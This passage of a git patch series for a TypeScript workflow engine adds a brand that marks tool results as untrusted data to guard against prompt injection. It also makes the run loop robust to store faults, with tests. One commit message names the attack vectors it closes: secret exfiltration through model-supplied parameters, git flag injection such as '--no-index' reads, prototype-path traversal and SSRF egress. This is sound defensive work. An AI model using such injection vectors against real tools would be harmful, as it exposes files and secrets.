} from './untrusted.js'; + +describe('untrusted brand', () => { + it('round-trips a value through mark/unwrap', () => { + const wrapped = markUntrusted({ a: 1 }); + expect(unwrapUntrusted(wrapped)).toEqual({ a: 1 }); + }); + + it('detects a wrapped value and rejects a bare one', () => { + expect(isUntrusted(markUntrusted('x'))).toBe(true); + expect(isUntrusted({ value: 'x' })).toBe(false); // a look-alike without the brand symbol + expect(isUntrusted('x')).toBe(false); + expect(isUntrusted(null)).toBe(false); + expect(isUntrusted(undefined)).toBe(false); + }); + + it('preserves primitives and undefined payloads', () => { + expect(unwrapUntrusted(markUntrusted(undefined))).toBeUndefined(); + expect(unwrapUntrusted(markUntrusted(0))).toBe(0); + }); +}); diff --git a/packages/core/src/tools/untrusted.ts b/packages/core/src/tools/untrusted.ts new file mode 100644 index 00000000..bae7c0b7 --- /dev/null +++ b/packages/core/src/tools/untrusted.ts @@ -0,0 +1,41 @@ +/** + * The untrusted-content brand (1.T) — the compile-time technique + * [security-review.md §Prompt-injection](../../../../docs/standards/security-review.md#prompt-injection-posture) + * mandates: a tool result is untrusted DATA the model's caller did not author, never a trusted + * instruction. The registry wraps every tool result in {@link Untrusted}; the message-assembly layer + * (1.O) must {@link unwrapUntrusted} it to place it in a `user`/`tool` position — **never** `system` and + * never string-concatenated into an instruction template. The brand makes the unsafe path + * unrepresentable rather than relying on per-call-site discipline (the reason it is structural: with N + * tool call-sites, "remember to wrap it" fails open at the one forgotten site). 1.T owns the marking; + * 1.O owns the placement. + */ + +const UNTRUSTED: unique symbol = Symbol('relavium.untrusted'); + +/** A value flagged untrusted. Consumers cannot read the payload without {@link unwrapUntrusted}. */ +export interface Untrusted { + readonly [UNTRUSTED]: true; + readonly value: T; +} + +/** Wrap a value as untrusted. */ +export function markUntrusted(value: T): Untrusted { + return { [UNTRUSTED]: true, value }; +} + +/** + * Unwrap an untrusted value — an explicit acknowledgement that the caller is placing it in a data + * position (`user`/`tool`), never `system`. + */ +export function unwrapUntrusted(wrapped: Untrusted): T { + return wrapped.value; +} + +/** Type guard for an untrusted wrapper. */ +export function isUntrusted(value: unknown): value is Untrusted { + return ( + typeof value === 'object' && + value !== null && + (value as Record)[UNTRUSTED] === true + ); +} From 70e444268b40d42fc39165f179d71e4e704b971f Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 11:42:59 +0300 Subject: [PATCH 06/16] fix(core): harden the 1.N run loop against store faults (review findings) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adversarial review found the exactly-one-terminal-event invariant breaks on a store fault: #emitDurable stamped the event, and on a persistEvent rejection NEVER delivered it — so the consumer stream never closed (a zombie run) and the rejection escaped the fire-and-forget #loop as an unhandled rejection. This hit the terminal #settle, #emitPausedOnce, node:started dispatch, and the begin() double-failure paths. Fix: make #emitDurable TOTAL. It persists, then ALWAYS delivers (keeping the stream gap-free and guaranteeing a terminal always closes the consumer's for-await), and never rejects. A persist failure of a NON-terminal event additionally fails the run (we never report progress the durable log lacks); a terminal whose write fails is still delivered in-process, with reconcile() repairing the durable record on restart. Persist-before-deliver is preserved on the success path. Also from the review: - reconcile() now stamps a correlationId on its run:failed, matching #settle and node:failed. - handle.cancel() is idempotent after termination (a best-effort surface action); engine.cancel(runId) keeps the strict throwing contract. - docs: createAbortController matches native (a listener added post-abort never fires — check signal.aborted); the ExecutionHost timer port (gate/run timeout) is noted as deferred to 1.Q/1.AC. Regression tests: a store whose every write rejects still terminates with exactly one terminal (no hang); a terminal-only write failure still delivers run:completed; gap-free sequenceNumber asserted across cancel / condition-skip / gate-resume; a post-abort listener does not fire. 51 engine tests; engine >=90% line+branch. Refs: ADR-0036 Co-Authored-By: Claude Opus 4.8 --- packages/core/src/engine/engine.test.ts | 69 ++++++++++++++++++- packages/core/src/engine/engine.ts | 47 ++++++++++--- .../core/src/engine/execution-host.test.ts | 9 +++ packages/core/src/engine/execution-host.ts | 11 ++- packages/core/src/engine/run-handle.ts | 6 +- 5 files changed, 128 insertions(+), 14 deletions(-) diff --git a/packages/core/src/engine/engine.test.ts b/packages/core/src/engine/engine.test.ts index 5d537ac0..be3473ee 100644 --- a/packages/core/src/engine/engine.test.ts +++ b/packages/core/src/engine/engine.test.ts @@ -63,6 +63,11 @@ const terminalsIn = (events: readonly RunEvent[]): readonly RunEvent[] => events.filter((e) => TERMINALS.has(e.type)); const typesIn = (events: readonly RunEvent[]): readonly string[] => events.map((e) => e.type); +/** Assert the delivered stream is gap-free: sequenceNumbers are the contiguous run 0..n-1. */ +function assertGapFreeSeq(events: readonly RunEvent[]): void { + events.forEach((event, index) => expect(event.sequenceNumber).toBe(index)); +} + /** Assert a synchronous call throws an {@link EngineStateError} with the given code. */ function expectThrowsCode(fn: () => void, code: string): void { try { @@ -218,6 +223,7 @@ describe('WorkflowEngine — cancellation', () => { } expect(abortObserved).toBe(true); // the in-flight node actually saw the AbortSignal + assertGapFreeSeq(events); // the stream stays gap-free across a mid-run cancel expect(terminalsIn(events)).toHaveLength(1); expect(terminalsIn(events)[0]?.type).toBe('run:cancelled'); // `done` is downstream of the cancelled node — it must never have started. @@ -254,6 +260,7 @@ describe('WorkflowEngine — condition skip-propagation', () => { expect(startedNodes).toContain('approve'); expect(startedNodes).not.toContain('reject'); // skipped — no node:started, no node:completed expect(startedNodes).toContain('join'); // the fan-in joined despite the skipped branch + assertGapFreeSeq(events); // skipped nodes emit nothing, so the stream stays gap-free expect(terminalsIn(events)[0]?.type).toBe('run:completed'); }); @@ -353,6 +360,7 @@ describe('WorkflowEngine — human gate suspend/resume', () => { expect(paused.gateIds).toHaveLength(1); expect(typesIn(events)).toContain('human_gate:paused'); expect(typesIn(events)).toContain('human_gate:resumed'); + assertGapFreeSeq(events); // gap-free across pause + resume expect(terminalsIn(events)[0]?.type).toBe('run:completed'); expect(events.some((e) => e.type === 'node:started' && e.nodeId === 'out')).toBe(true); }); @@ -464,9 +472,14 @@ describe('WorkflowEngine — crash reconciliation', () => { const reconciled = await engine.reconcile(); expect(reconciled).toHaveLength(1); - expect(reconciled[0]?.type).toBe('run:failed'); - expect(reconciled[0]?.runId).toBe('crashed-1'); - expect(reconciled[0]?.sequenceNumber).toBe(1); // continues from the last persisted seq (0) + const reconciledEvent = reconciled[0]; + expect(reconciledEvent?.type).toBe('run:failed'); + expect(reconciledEvent?.runId).toBe('crashed-1'); + expect(reconciledEvent?.sequenceNumber).toBe(1); // continues from the last persisted seq (0) + if (reconciledEvent?.type === 'run:failed') { + // reconcile stamps a correlationId like every other run:failed producer + expect(typeof reconciledEvent.error.correlationId).toBe('string'); + } const persisted = store.eventsFor('crashed-1'); expect(persisted.some((e) => e.type === 'run:failed')).toBe(true); }); @@ -632,4 +645,54 @@ describe('WorkflowEngine — internal failures and handle-side controls', () => expect(terminalsIn(events)).toHaveLength(1); expect(terminalsIn(events)[0]?.type).toBe('run:cancelled'); }); + + it('terminates with exactly one terminal event even when EVERY durable write rejects (no zombie run)', async () => { + // The store-fully-unavailable case: persist-before-deliver must never strand the consumer stream. + // `drain` resolving (not hanging) is the no-zombie assertion; a regression here would time out. + const host: ExecutionHost = { + ...createInMemoryHost(), + store: { + resolveWorkflowId: () => Promise.resolve('00000000-0000-4000-8000-000000000001'), + persistEvent: () => Promise.reject(new Error('store fully unavailable')), + listInterruptedRuns: () => Promise.resolve([]), + }, + }; + const events = await drain( + new WorkflowEngine({ host, executor: new StubExecutor() }).start({ + workflow: workflow(SEQUENTIAL), + }), + ); + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:failed'); + }); + + it('delivers the terminal run:completed even when only the terminal durable write fails', async () => { + // A store fault confined to the terminal write must still close the stream (reconcile repairs durability). + const inner = new InMemoryRunStore(); + const host: ExecutionHost = { + ...createInMemoryHost(), + store: { + resolveWorkflowId: (slug) => inner.resolveWorkflowId(slug), + persistEvent: (event) => + event.type === 'run:completed' + ? Promise.reject(new Error('terminal write failed')) + : inner.persistEvent(event), + listInterruptedRuns: () => inner.listInterruptedRuns(), + }, + }; + const events = await drain( + new WorkflowEngine({ host, executor: new StubExecutor() }).start({ + workflow: workflow(SEQUENTIAL), + }), + ); + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); + + it('handle.cancel() after the run terminated is an idempotent no-op (does not throw)', async () => { + const engine = engineWith(); + const handle = engine.start({ workflow: workflow(SEQUENTIAL) }); + await drain(handle); + expect(() => handle.cancel()).not.toThrow(); + }); }); diff --git a/packages/core/src/engine/engine.ts b/packages/core/src/engine/engine.ts index 9649c40c..5a496703 100644 --- a/packages/core/src/engine/engine.ts +++ b/packages/core/src/engine/engine.ts @@ -60,6 +60,13 @@ interface VertexState { /** A vertex status counts as *settled* (its dependents can evaluate) when it is one of these. */ const SETTLED: ReadonlySet = new Set(['completed', 'failed', 'skipped']); +/** The three events that close a run — exactly one ever fires (ADR-0036). */ +const TERMINAL_TYPES: ReadonlySet = new Set([ + 'run:completed', + 'run:failed', + 'run:cancelled', +]); + /** The input to {@link WorkflowEngine.start} — a parsed workflow plus its run inputs and mode. */ export interface StartInput { /** The parsed, validated workflow (the host read the file and called `parseWorkflow`). */ @@ -167,7 +174,16 @@ class RunExecution { params.bus, params.runId, () => { - this.requestCancel(); + // The handle's cancel is a best-effort surface action (e.g. a UI button): idempotent and safe + // to call after the run has already terminated. The programmatic `engine.cancel(runId)` keeps + // the strict contract (throws `run_already_terminal` on misuse). + try { + this.requestCancel(); + } catch (error) { + if (!(error instanceof EngineStateError && error.code === 'run_already_terminal')) { + throw error; + } + } }, params.capacity, ); @@ -662,14 +678,28 @@ class RunExecution { } } - #emitDurable(draft: RunEventDraft): Promise { - // Persist the boundary/terminal event BEFORE delivery (ADR-0036): the sequenceNumber is assigned by - // the bus (the single authoritative point) at `next`, then persisted, then delivered — so a crash - // between persist and delivery cannot re-run a completed node or lose its output. + async #emitDurable(draft: RunEventDraft): Promise { + // Persist the boundary/terminal event, then deliver (ADR-0036 persist-before-deliver, so a crash + // can never re-run a completed node or lose its output). This method is **total**: a store fault + // must neither break the exactly-one-terminal-event invariant nor escape as an unhandled rejection + // out of the fire-and-forget `#loop`. So the `sequenceNumber` is assigned once at the single + // authoritative point (`next`), and the event is **always delivered** — keeping the stream gap-free + // and guaranteeing a terminal always closes the consumer's `for await`. On a persist failure of a + // **non-terminal** event we additionally fail the run (we must never report progress the durable + // log lacks); a terminal whose write fails is still delivered in-process, and `reconcile()` repairs + // the durable record on restart. const event = this.#bus.next(draft); - return this.#host.store.persistEvent(event).then(() => { - this.#bus.deliver(event); - }); + try { + await this.#host.store.persistEvent(event); + } catch { + if (!TERMINAL_TYPES.has(event.type) && this.#failure === undefined && !this.#cancelling) { + this.#failure = { + error: { code: 'internal', message: 'a durable run-event write failed', retryable: false }, + }; + this.#abort.abort(); + } + } + this.#bus.deliver(event); } #elapsedMs(): number { @@ -773,6 +803,7 @@ export class WorkflowEngine { code: 'internal', message: 'the run was interrupted before completion and reconciled on restart', retryable: false, + correlationId: this.#host.ids.newId(), // matches the #settle / node:failed live-failure paths }, partialOutputs: {}, }); diff --git a/packages/core/src/engine/execution-host.test.ts b/packages/core/src/engine/execution-host.test.ts index ed6fd8ed..b91931a6 100644 --- a/packages/core/src/engine/execution-host.test.ts +++ b/packages/core/src/engine/execution-host.test.ts @@ -24,6 +24,15 @@ describe('createAbortController — platform-free abort', () => { controller.abort(); expect(listener).not.toHaveBeenCalled(); }); + + it('does not fire a listener registered after abort (matches native AbortSignal; check .aborted)', () => { + const controller = createAbortController(); + controller.abort(); + const lateListener = vi.fn(); + controller.signal.addEventListener('abort', lateListener); + expect(lateListener).not.toHaveBeenCalled(); // a caller must check signal.aborted instead + expect(controller.signal.aborted).toBe(true); + }); }); describe('InMemoryRunStore', () => { diff --git a/packages/core/src/engine/execution-host.ts b/packages/core/src/engine/execution-host.ts index da56c97d..1ee9786d 100644 --- a/packages/core/src/engine/execution-host.ts +++ b/packages/core/src/engine/execution-host.ts @@ -44,7 +44,9 @@ export interface AbortControllerLike { /** * An in-house, platform-free {@link AbortControllerLike} — no ambient `AbortController`. Enough for the * engine and stub executors (observe `aborted`, fire `abort` listeners once); a real surface injects a - * native controller whose signal also drives `fetch`. + * native controller whose signal also drives `fetch`. Matching a native `AbortSignal`, a listener + * registered **after** the signal has aborted never fires — a caller checks `signal.aborted` first + * (the pattern the engine's node executors follow). */ export function createAbortController(): AbortControllerLike { let aborted = false; @@ -108,7 +110,12 @@ export interface RunStore { listInterruptedRuns: () => Promise; } -/** The injected execution-mode seam: clock + id source + persistence + abort, nothing platform-specific. */ +/** + * The injected execution-mode seam: clock + id source + persistence + abort, nothing platform-specific. + * The Phase-1 slice ships `clock.now()`; the one-shot **timer** port (for gate / run `timeout_ms` + * deadlines — ADR-0036 Decision 5) is added when the human gate (1.Q) and budget governor (1.AC) wire + * timeouts, since 1.N arms no timers. + */ export interface ExecutionHost { readonly clock: Clock; readonly ids: IdSource; diff --git a/packages/core/src/engine/run-handle.ts b/packages/core/src/engine/run-handle.ts index 674501d2..7106ea4f 100644 --- a/packages/core/src/engine/run-handle.ts +++ b/packages/core/src/engine/run-handle.ts @@ -131,7 +131,11 @@ export interface RunHandle { readonly events: AsyncIterable; /** Attach an additional passive observer (cost / UI); returns an idempotent unsubscribe. */ subscribe: (listener: RunEventListener) => () => void; - /** Request cooperative cancellation of this run (delegates to the engine). */ + /** + * Request cooperative cancellation of this run (delegates to the engine). A best-effort surface + * action: **idempotent and safe to call after the run has terminated** (a no-op then), unlike the + * strict programmatic `engine.cancel(runId)`. + */ cancel: () => void; /** Resolves when the primary consumer's buffer has drained below capacity — the engine awaits it to throttle. */ whenConsumersReady: () => Promise; From 2ed5d0303b222fb5e9d8ad2ed4d28d2b0287bba7 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 12:11:54 +0300 Subject: [PATCH 07/16] fix(core): close the gate-pause persist-failure zombie + reconcile/test gaps (sonnet review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A second, sonnet-model multi-dimensional review found the 70e4442 fix left ONE zombie-run path: #emitPausedOnce -> #emitDurable(run:paused). On a run:paused persist failure the catch set #failure and aborted but did NOT re-enter the scheduler — and #emitPausedOnce is the only #emitDurable call-site reached from #step with no unconditional #schedule() afterward. So a gate-pause persist fault set #failure yet never reached #settle: the consumer stream hung (a zombie), re-created exactly on the gate path. Fix: call this.#schedule() inside the #emitDurable catch (idempotent at every other call-site via the #scheduling guard). Now any non-terminal persist failure that fails the run always drives it to a single terminal. Also from the review: - reconcile() guards each run's write: a store fault reconciling one interrupted run no longer abandons the rest (best-effort, idempotent, retried next time). - assertGapFreeSeq now checks the SET of sequenceNumbers is {0..n-1} (sorted), not delivery position — so it stays valid once 1.O streams tokens concurrently (delivery order may differ from emission order; the set must not gap). Added it to the max_parallel concurrent-fan-out test. - refreshed the now-stale #onOutcome catch comment (#emitDurable is total, so a persist rejection no longer reaches it; it backstops an unexpected stamp throw). Regression tests: a gate whose run:paused write fails still terminates with one terminal (no zombie); an all-skipped fan-in is itself skipped; reconcile() skips a write-failing run and still reconciles the others. 54 engine tests; >=90% line+branch. Refs: ADR-0036 Co-Authored-By: Claude Opus 4.8 --- packages/core/src/engine/engine.test.ts | 95 ++++++++++++++++++++++++- packages/core/src/engine/engine.ts | 20 ++++-- 2 files changed, 109 insertions(+), 6 deletions(-) diff --git a/packages/core/src/engine/engine.test.ts b/packages/core/src/engine/engine.test.ts index be3473ee..19e9f982 100644 --- a/packages/core/src/engine/engine.test.ts +++ b/packages/core/src/engine/engine.test.ts @@ -63,9 +63,14 @@ const terminalsIn = (events: readonly RunEvent[]): readonly RunEvent[] => events.filter((e) => TERMINALS.has(e.type)); const typesIn = (events: readonly RunEvent[]): readonly string[] => events.map((e) => e.type); -/** Assert the delivered stream is gap-free: sequenceNumbers are the contiguous run 0..n-1. */ +/** + * Assert the delivered stream is gap-free: the SET of sequenceNumbers is exactly {0..n-1} — no gap, + * no duplicate. Checks the sorted set, not delivery position, so it stays valid once 1.O streams + * tokens concurrently (delivery order may then differ from emission order, but the set must not gap). + */ function assertGapFreeSeq(events: readonly RunEvent[]): void { - events.forEach((event, index) => expect(event.sequenceNumber).toBe(index)); + const seqs = events.map((event) => event.sequenceNumber).sort((a, b) => a - b); + seqs.forEach((seq, index) => expect(seq).toBe(index)); } /** Assert a synchronous call throws an {@link EngineStateError} with the given code. */ @@ -277,6 +282,22 @@ describe('WorkflowEngine — condition skip-propagation', () => { expect(startedNodes).toContain('reject'); expect(terminalsIn(events)[0]?.type).toBe('run:completed'); }); + + it('skips a fan-in whose every branch was skipped (an all-skipped join is itself skipped)', async () => { + const events = await drain( + engineWith({ + gate: () => ({ kind: 'branch', output: 'none', selected: [] }), // routes to neither branch + }).start({ workflow: workflow(CONDITIONAL) }), + ); + const startedNodes = events + .filter((e) => e.type === 'node:started') + .map((e) => (e.type === 'node:started' ? e.nodeId : '')); + expect(startedNodes).not.toContain('approve'); + expect(startedNodes).not.toContain('reject'); + expect(startedNodes).not.toContain('join'); // both branches skipped → the fan-in skips too + expect(startedNodes).not.toContain('out'); // and everything below it + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); }); // --- exactly-one-terminal-event guarantees ---------------------------------------------------- @@ -430,6 +451,7 @@ describe('WorkflowEngine — max_parallel concurrency cap', () => { (e) => e.type === 'node:completed' && ['b1', 'b2', 'b3'].includes(e.nodeId), ); expect(completedBranches).toHaveLength(3); + assertGapFreeSeq(events); // gap-free even under concurrent fan-out expect(terminalsIn(events)[0]?.type).toBe('run:completed'); }); }); @@ -695,4 +717,73 @@ describe('WorkflowEngine — internal failures and handle-side controls', () => await drain(handle); expect(() => handle.cancel()).not.toThrow(); }); + + it('terminates (no zombie) when the run:paused durable write fails at a gate', async () => { + // Regression for the gate-pause persist-failure path: #emitPausedOnce -> #emitDurable(run:paused) + // must re-enter the scheduler so the run settles, never hang. A working store for everything else, + // a fault confined to run:paused. + const inner = new InMemoryRunStore(); + const host: ExecutionHost = { + ...createInMemoryHost(), + store: { + resolveWorkflowId: (slug) => inner.resolveWorkflowId(slug), + persistEvent: (event) => + event.type === 'run:paused' + ? Promise.reject(new Error('paused write failed')) + : inner.persistEvent(event), + listInterruptedRuns: () => inner.listInterruptedRuns(), + }, + }; + const engine = new WorkflowEngine({ + host, + executor: new StubExecutor({ + g: () => ({ kind: 'paused', gate: { gateType: 'approval', message: 'approve?' } }), + }), + }); + const events = await drain( + engine.start({ + workflow: workflow(` id: gatefail + nodes: + - { id: start, type: input } + - { id: g, type: human_gate, gate_type: approval } + - { id: out, type: output } + edges: + - { from: start, to: g } + - { from: g, to: out }`), + }), + ); + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:failed'); + }); + + it('reconcile() skips a run whose terminal write fails and still reconciles the others', async () => { + const store = new InMemoryRunStore(); + const startedAt = '2026-06-13T00:00:00.000Z'; + for (const runId of ['crash-a', 'crash-b']) { + await store.persistEvent({ + type: 'run:started', + runId, + timestamp: startedAt, + sequenceNumber: 0, + workflowId: '00000000-0000-4000-8000-000000000099', + inputs: {}, + executionMode: 'local', + }); + } + // A store that rejects the reconcile write for crash-a only. + const host: ExecutionHost = { + ...createInMemoryHost(), + store: { + resolveWorkflowId: (slug) => store.resolveWorkflowId(slug), + persistEvent: (event) => + event.type === 'run:failed' && event.runId === 'crash-a' + ? Promise.reject(new Error('write failed')) + : store.persistEvent(event), + listInterruptedRuns: () => store.listInterruptedRuns(), + }, + }; + const reconciled = await new WorkflowEngine({ host, executor: new StubExecutor() }).reconcile(); + // crash-a's write failed and is skipped; crash-b still reconciled — one fault doesn't abandon the rest. + expect(reconciled.map((e) => e.runId)).toEqual(['crash-b']); + }); }); diff --git a/packages/core/src/engine/engine.ts b/packages/core/src/engine/engine.ts index 5a496703..bb3ef7b7 100644 --- a/packages/core/src/engine/engine.ts +++ b/packages/core/src/engine/engine.ts @@ -479,8 +479,10 @@ class RunExecution { } } } catch { - // An engine-internal failure while settling a node (e.g. a durable persist rejected). Never leave - // the run hanging: mark this vertex failed and fail the run (unless already cancelling/failing). + // Backstop for an UNEXPECTED throw while settling a node — e.g. a bus/Zod stamp failure on a + // malformed event. (A durable persist rejection no longer reaches here: #emitDurable is total.) + // Never leave the run hanging: mark this vertex failed and fail the run (unless already + // cancelling/failing). if (state !== undefined && state.status === 'running') { state.status = 'failed'; } @@ -697,6 +699,11 @@ class RunExecution { error: { code: 'internal', message: 'a durable run-event write failed', retryable: false }, }; this.#abort.abort(); + // Re-enter the scheduler so the run actually settles. Most callers re-schedule after + // #emitDurable (begin/resume) or via #onOutcome's unconditional #schedule, but #emitPausedOnce + // (the run:paused path) returns straight to #step's bare `return` — without this, a gate-pause + // persist failure would set #failure yet never reach #settle, re-creating the zombie run. + this.#schedule(); } } this.#bus.deliver(event); @@ -807,8 +814,13 @@ export class WorkflowEngine { }, partialOutputs: {}, }); - await this.#host.store.persistEvent(event); - reconciled.push(event); + try { + await this.#host.store.persistEvent(event); + reconciled.push(event); + } catch { + // A store fault reconciling one run must not abandon the rest: skip it (it stays interrupted + // and is retried on the next reconcile). Reconciliation is best-effort and idempotent. + } } return reconciled; } From 7e07e0e7505c309ffa6cd9f7ea0bdf3b717694d8 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 12:14:29 +0300 Subject: [PATCH 08/16] style(core): apply Prettier to the 1.N engine sources Wrap long import lists / type unions in engine.ts, node-executor.ts, and event-bus.test.ts to satisfy `prettier --check` (CI format gate). No behavior change; 54 engine tests still green. Co-Authored-By: Claude Opus 4.8 --- packages/core/src/engine/engine.ts | 19 ++++++++++++++++--- packages/core/src/engine/event-bus.test.ts | 14 ++++++++++++-- packages/core/src/engine/node-executor.ts | 7 ++++++- 3 files changed, 34 insertions(+), 6 deletions(-) diff --git a/packages/core/src/engine/engine.ts b/packages/core/src/engine/engine.ts index bb3ef7b7..42ba20d4 100644 --- a/packages/core/src/engine/engine.ts +++ b/packages/core/src/engine/engine.ts @@ -44,7 +44,12 @@ import type { WorkflowDefinition } from '../parser.js'; import { EngineStateError } from './errors.js'; import { RunEventBus, type RunEventDraft } from './event-bus.js'; import type { AbortControllerLike, ExecutionHost } from './execution-host.js'; -import type { NodeExecContext, NodeExecutor, NodeFailure, NodeStreamEvent } from './node-executor.js'; +import type { + NodeExecContext, + NodeExecutor, + NodeFailure, + NodeStreamEvent, +} from './node-executor.js'; import { createRunHandle, type RunHandle } from './run-handle.js'; /** A vertex's live status in one run. `paused` (at a gate) and `running` are not yet *settled*. */ @@ -58,7 +63,11 @@ interface VertexState { } /** A vertex status counts as *settled* (its dependents can evaluate) when it is one of these. */ -const SETTLED: ReadonlySet = new Set(['completed', 'failed', 'skipped']); +const SETTLED: ReadonlySet = new Set([ + 'completed', + 'failed', + 'skipped', +]); /** The three events that close a run — exactly one ever fires (ADR-0036). */ const TERMINAL_TYPES: ReadonlySet = new Set([ @@ -696,7 +705,11 @@ class RunExecution { } catch { if (!TERMINAL_TYPES.has(event.type) && this.#failure === undefined && !this.#cancelling) { this.#failure = { - error: { code: 'internal', message: 'a durable run-event write failed', retryable: false }, + error: { + code: 'internal', + message: 'a durable run-event write failed', + retryable: false, + }, }; this.#abort.abort(); // Re-enter the scheduler so the run actually settles. Most callers re-schedule after diff --git a/packages/core/src/engine/event-bus.test.ts b/packages/core/src/engine/event-bus.test.ts index 591da57b..ff6f5a79 100644 --- a/packages/core/src/engine/event-bus.test.ts +++ b/packages/core/src/engine/event-bus.test.ts @@ -37,7 +37,13 @@ describe('RunEventBus — sequence stamping (the single producer-side translatio it('keys the counter on sessionId for a session-correlated (dual-envelope) event', () => { const bus = new RunEventBus({ now: fakeNow() }); // agent:token is a dual-envelope event — on a session it carries sessionId, not runId. - const tok: RunEventDraft = { type: 'agent:token', sessionId: 's1', nodeId: 'n', token: 'x', model: 'm' }; + const tok: RunEventDraft = { + type: 'agent:token', + sessionId: 's1', + nodeId: 'n', + token: 'x', + model: 'm', + }; expect(bus.next(tok).sequenceNumber).toBe(0); expect(bus.next(tok).sequenceNumber).toBe(1); // A run on the same bus keeps its own sequence (disjoint correlation keys). @@ -52,7 +58,11 @@ describe('RunEventBus — sequence stamping (the single producer-side translatio it('throws when a draft carries neither runId nor sessionId (an engine invariant breach)', () => { const bus = new RunEventBus({ now: fakeNow() }); // A structurally-incomplete draft — the engine always sets exactly one key, so this is a guard. - const orphan = { type: 'node:started', nodeId: 'a', nodeType: 'input' } as unknown as RunEventDraft; + const orphan = { + type: 'node:started', + nodeId: 'a', + nodeType: 'input', + } as unknown as RunEventDraft; expect(() => bus.next(orphan)).toThrow(/neither runId nor sessionId/); }); diff --git a/packages/core/src/engine/node-executor.ts b/packages/core/src/engine/node-executor.ts index ea3ce9ed..d8e335c4 100644 --- a/packages/core/src/engine/node-executor.ts +++ b/packages/core/src/engine/node-executor.ts @@ -17,7 +17,12 @@ * before emitting — the producer-side translation point validates, it does not redact. */ -import type { AbortSignalLike, ErrorCode, HumanGatePausedEvent, TokensUsed } from '@relavium/shared'; +import type { + AbortSignalLike, + ErrorCode, + HumanGatePausedEvent, + TokensUsed, +} from '@relavium/shared'; import type { RunEventDraft } from './event-bus.js'; import type { PlanVertex } from '../run-plan.js'; From 1cfa68a1d5929e1e780ddaef11bb568052771371 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 14:49:46 +0300 Subject: [PATCH 09/16] fix(core): fold the round-1 adversarial review findings on 1.T (security + bounding) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A 9-dimension adversarial review (185 agents, 3-lens verification) confirmed 43 findings on the ToolRegistry/ToolHost seam: fix-then-keep, no blockers. This folds all High/Medium + the low-severity hardening: - H1/M3: config-only params (endpoint/credentialRef/env/cwd) now come ONLY from ctx.config.parameters — a model- or input_mapping-supplied value is dropped in assembleArgs (closes the web_search secret-exfil + run_command env/cwd injection the contract forbade "by the engine, not by convention"). - H2: git_status `args` is now config-only (author-pinned), closing model-controlled git flag injection (`--no-index` arbitrary-read, `log -p --all` history dump). - H3: readPath walks own data properties only (Object.hasOwn) — an output_mapping path naming __proto__/constructor returns undefined, never the prototype/constructor. - H4/L4: the model-facing preview now honors BOTH the line and byte ceiling, with a code-point-safe byte slice (no lone surrogate). - M1: git_commit inserts a `--` separator and rejects a leading-dash pathspec (no git option injection past the human gate). - M2/L2/L3: the post-dispatch tail (output_mapping + bounding/spill) is under the cancellation/error ladder; a spill I/O failure degrades to a preview-only result while a spill-time abort surfaces as `cancelled`; abort-after-resolve classifies cancelled; the cancel ladder no longer double-wraps. - proto: assembleArgs skips __proto__/constructor/prototype from every source. - L5: host FQDN extraction fails closed on backslash/whitespace/control chars (hyphens OK). - L6: glob collapses consecutive `*` (no ReDoS) and caches compiled patterns. - L8: a provider-executed tool_call gets its own `provider_executed` deny reason. - M4/M5/M6/L7/L9 docs: FsScopeTier imported from @relavium/shared (was 'project-scoped'); secretArgKeys/policyTarget added + invokeAgent/limits marked optional in the spec; the "never buffered in the engine" claim corrected to the in-memory v1.0 reality (host-stream obligation recorded); git_commit "Stage files" + the return-shape column corrected. +22 regression tests (103 tools tests; coverage 97% line / 93% branch). Full turbo lint+typecheck+test+build green (core 461 tests). No new dependency; no vendor type crosses the seam; engine purity held (no control bytes, no node:*/DOM globals). Refs: ADR-0037, ADR-0029 Co-Authored-By: Claude Opus 4.8 (1M context) --- .../0037-engine-tool-execution-boundary.md | 3 +- docs/reference/shared-core/built-in-tools.md | 8 +- docs/reference/shared-core/tool-registry.md | 26 +++- packages/core/src/tools/bounding.test.ts | 42 +++++ packages/core/src/tools/bounding.ts | 107 +++++++++++-- packages/core/src/tools/builtins.test.ts | 24 ++- packages/core/src/tools/builtins.ts | 30 ++-- packages/core/src/tools/errors.ts | 1 + packages/core/src/tools/registry.test.ts | 143 ++++++++++++++++++ packages/core/src/tools/registry.ts | 140 ++++++++++++----- packages/core/src/tools/types.ts | 7 +- 11 files changed, 464 insertions(+), 67 deletions(-) diff --git a/docs/decisions/0037-engine-tool-execution-boundary.md b/docs/decisions/0037-engine-tool-execution-boundary.md index 610405ab..19152aeb 100644 --- a/docs/decisions/0037-engine-tool-execution-boundary.md +++ b/docs/decisions/0037-engine-tool-execution-boundary.md @@ -33,7 +33,7 @@ Specific compositions this ADR pins: - **SSRF / egress — three discriminated kinds; 1.T defines the policy, 1.AE the mechanism.** The three egress tools do **not** share one allowlist: `http_request` is HTTPS-only + **exact-FQDN `allowedDomains`** + deny-all-empty; `web_search` transits an **untrusted-data-validated query** to the *configured* provider ([security-review.md §Prompt-injection](../standards/security-review.md#prompt-injection-posture) — not an `allowedDomains` allowlist); `mcp_call` reaches a *configured* MCP **server URL** (not `allowedDomains`). All three share the **one** SSRF range-primitive (block private/loopback/link-local/metadata/CGNAT; DNS-resolve + connect-by-validated-IP + per-hop-redirect-revalidate), enforced **inside the host egress capability** — never a second engine-local parser. The engine runs each kind's policy **before** the host call; an `input_mapping`-derived URL runs the same `http_request` check regardless of provenance (0029(d)), so a derived URL cannot bypass the guard. Egress is dispatchable against a stub `ToolHost` in tests now and ships **gated** until the SSRF-hardened host capability lands at 1.AE — the feature-flag-OFF discipline [ADR-0031](0031-llm-seam-shape-amendment-multimodal-io.md) uses for the media `url` carrier. - **`invoke_agent` is not a `ToolHost` I/O capability.** It is pure orchestration dispatched through an **engine-provided delegate** to another node by id (the 